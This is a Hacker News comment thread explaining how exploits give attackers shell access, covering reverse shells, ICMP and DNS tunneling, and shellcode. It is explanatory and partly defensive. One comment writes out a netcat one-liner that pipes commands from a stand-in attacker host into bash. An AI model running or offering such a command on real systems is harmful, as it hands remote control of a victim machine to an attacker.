Hacker News Reader

Comment by xattt | Hacker News Reader

> could give the attacker shell access.

How do these exploits work? Does it open an SSH port somewhere or does it show up as a browser-based terminal?

Usually the attacker, on their own computer, or some other server they have root on, will open a port and expose it to the internet and listen. The exploit payload will then make an outbound connection to that port. Once it's connected, the exploit will give the attacker's computer shell access. Search terms include 'reverse shell'.

It takes the normal client/server architecture and turns it inside out. If you remember FTP and active vs passive, it works like active mode FTP.

That's just one way to do it. If the attacker wants to actually listen on an open port on a compromised server that's behind a firewall, look up 'NAT traversal' for like half a dozen ways to do it.

One interesting method to get a shell that I read about is (ab)using ICMP echo requests. ICMP echo requests can contain arbitrary bytes as a payload. So the exploit will poll the attacker's IP address with ICMP echo requests. The exploit will have data payloads that have the shell's output. The attacker's server will respond with ICMP echo requests that have whatever the attacker wants to type into the shell. It's kinda janky but it works. Lots of firewalls might block outbound UDP/TCP connections from internal servers that don't need to make outbound connections, or might whitelist the addresses they're allowed to connect to. But they won't block ICMP, either because it's considered harmless or they forgot or they didn't know it needs to be blocked separately with other rules.

The point is there's any number of ways to do it, each more clever than the last.

That's why it's a good idea to block connections of all protocols into address ranges where an attacker might be able to host a service. Even on internal networks, if you are a corporation.

But it gets better than tunneling over ICMP: DNS tunneling. Pretty much all systems can talk to a DNS resolver. If it resolves arbitrary host names, you can set up a DNS for a zone you control and requests will end up there. With tools like iodine (requires root and a binary on the target), you can tunnel your traffic conveniently (and slowly).

I love iodine. When you're at a "free" wifi hotspot that needs an account (yet another company to take the security of your data so seriously that they upload it to an open S3 bucket), or you're on mobile data and out of credit, or whatever, iodine usually always works because as you say DNS is almost always allowed.

It's only a dozen kbytes/sec or so, but this is more than good enough for RSS, email, IRC, HN, ...

A shell's stdin and stdout can be redirected to a tcp socket which connects to the attacker. Here are some examples: https://www.invicti.com/learn/reverse-shell/

https://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-ex...

Once you can run any command, you start passing in whatever commands you want.

most likely "shell access" was confused with execution of "shellcode" which is a type of code, typically bytecode, that gets injected by the hacker and the server gets tricked into executing it. Once it's executed, it can do anything, leave new files, open ports, disable firewalls, change the admin password, etc

Shellcode is usually weirdly formed native machine code, typically written in a "return-oriented programming" style, that can be inserted with a buffer overflow and somehow jumped to. But usually not bytecode.

This is a great question, one I've always wondered. "Shell access" typically requires a terminal to, you know, type stuff in, right?

You can crate a reverse shell with just netcat. On your victim machine, where you can run a command but not necessarily listen on a port you can run something like:

    nc attacker.ip 9000 | /bin/bash

This will reach out to the attacker controlled machine and run an arbitrary payload hosted there. A simple payload would be opening a reverse shell to the attacker controlled machine from the victim. Because it's an outgoing connection it's less likely to be blocked by a firewall.

The reverse shell gives you further access to the victim machine and can be entirely scripted. You can then use additional exploits for privilege elevation or just pilfer whatever you've got access to.

Note this a super simple demonstration of the concept.

Thanks for the reply, that was just the level of explanation I was looking for. It wouldn't have even dawned on me to do it that way. I'm obviously not a security researcher.

Reply on news.ycombinator.com